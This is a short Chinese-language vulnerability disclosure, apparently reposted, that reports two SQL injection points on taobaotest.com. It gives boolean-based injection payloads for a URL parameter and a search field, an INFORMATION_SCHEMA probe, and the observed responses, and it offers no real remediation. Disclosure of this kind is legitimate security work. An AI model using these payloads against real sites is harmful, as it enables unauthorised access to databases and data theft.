注入点1：
http://www.taobaotest.com/books/33 and 1=1
http://www.taobaotest.com/books/33 and 1=2
可以看看
"下一期刊：" 那里是否显示正常，进行判断。
或者随机输入正确的语句与错误的语句。
错误的语句会出现：“不好意思，您要访问的页面似乎出了点问题，请选择其他链接继续浏览本网站”
 
注入点2：
http://www.taobaotest.com/books
您可以根据名称查询:
 
www.2cto.com
就是搜索框那里的。
输入：
%' and 1=1 and '%'='
返回5条记录
%' and 1=2 and '%'='
返回0条记录
 
或者输入条种SQL语句测试
%' and exists(select * from INFORMATION_SCHEMA.TABLES) and '%'='
 
这里就不深入了。
修复方案：
应该懂得

作者 Jannock